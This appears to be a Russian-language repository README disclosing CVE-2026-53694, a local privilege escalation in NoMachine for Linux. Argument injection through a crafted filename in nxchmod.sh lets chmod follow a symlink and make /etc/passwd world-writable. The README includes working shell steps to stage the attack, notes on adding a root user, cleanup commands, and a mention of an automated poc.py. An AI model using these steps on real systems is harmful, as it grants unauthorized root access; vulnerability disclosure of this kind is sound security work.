
Эксплойт доказательства концепции и описание для CVE-2026-53694, локальное повышение привилегий в NoMachine для Linux через внедрение аргументов в nxchmod.sh, позволяющее получить доступ root с помощью манипуляции символическими ссылками.
Этот репозиторий содержит описание и Proof of Concept (PoC) для CVE-2026-53694 — уязвимости локального повышения привилегий (LPE) в NoMachine для Linux.
Из-за некорректной нейтрализации разделителей аргументов в скрипте nxchmod.sh локальный непривилегированный пользователь может внедрить аргументы в системную команду, выполняемую от имени root. Комбинируя эту инъекцию аргументов с символической ссылкой, злоумышленник может перезаписать критически важные системные файлы (такие как /etc/passwd) и повысить свои привилегии до root.
Уязвимость полностью устранена производителем.
Обнаружение этой уязвимости стало результатом проб, ошибок и озарения поздней ночью. Вот как разворачивался процесс обнаружения:
/usr/NX/scripts/restricted/nxchmod.sh периодически выполняется пользователем root для управления правами доступа в определённых каталогах.chmod a+rw к файлам. Я подумал: Если я контролирую назначение, могу ли я использовать символическую ссылку, чтобы сделать /etc/passwd доступным для записи? Я проверил стандартную символическую ссылку (ln -s /etc/passwd /tmp/asdf), но это не сработало. Sticky bit в Linux для таких каталогов, как /tmp, не позволяет пользователю root слепо следовать по символической ссылке, созданной другим пользователем.${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}. Скрипт брал буквальное имя файла и передавал его напрямую в chmod.X1234 -R -L. Когда скрипт запустился, команда chmod развернула это в аргументы, а не в единый путь к файлу.-L (следовать по символическим ссылкам) и -R (рекурсивно) в команду chmod через имя файла, я заставил сам бинарник chmod разрешить и проследовать по символической ссылке, которую я создал в каталоге, полностью обойдя защиту sticky bit./etc/passwd стал доступен для записи (a+rw), я смог просто добавить нового пользователя root в файл и выполнить su под ним.Уязвимость проистекает из того, как NoMachine обрабатывает права доступа для сокетов X11/Wayland. Скрипт nxchmod.sh запускается демоном nxserver.bin, работающим от имени root.
Уязвимое выполнение выглядит так:
# /usr/NX/scripts/restricted/nxchmod.sh
${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}
Если злоумышленник создаёт структуру каталогов и файл с именем X1234 -R -L, результирующая команда, выполняемая от имени root, становится:
/bin/chmod a+rw /tmp/.X11-unix/X1234 -R -L
Когда символическая ссылка, указывающая на /etc/passwd, помещается внутрь каталога X1234, внедрённые аргументы -R и -L заставляют chmod рекурсивно проследовать по символической ссылке и предоставить глобальные права на чтение/запись целевому файлу.
Чтобы этот эксплойт сработал, целевая система должна соответствовать следующим условиям:
Вы можете воспроизвести эту уязвимость либо вручную с помощью shell-команд, либо автоматически с помощью предоставленного Python-скрипта.
Перейдите в /tmp/.X11-unix/ и выполните следующие команды, чтобы создать вредоносную структуру каталогов.
cd /tmp/.X11-unix/
# 1. Exploitation setup
touch "X1234 -R -L"
mkdir X1234
ln -s /etc/passwd /tmp/.X11-unix/X1234/pwn
# Wait for nxchmod.sh to execute (can take up to 60 seconds).
# Verify the permissions of /etc/passwd have changed to -rw-rw-rw-
# You can now edit /etc/passwd to add a root user.
После того как вы убедились в наличии уязвимости и повысили привилегии, выполните следующие команды очистки, чтобы восстановить стабильность системы и удалить артефакты:
# 2. Cleanup
rm "X1234 -R -L"
unlink X1234/pwn
rmdir X1234
chmod 644 /etc/passwd
Полный автоматизированный эксплойт предоставлен в poc.py. Этот скрипт проверяет требования Wayland, настраивает символическую ссылку, ожидает цикла выполнения nxchmod.sh и внедряет нового пользователя root (gg) в /etc/passwd
Чтобы запустить эксплойт:
python3 poc.py
Эта уязвимость была устранена компанией NoMachine. Пользователям следует обновиться до следующих версий или более поздних: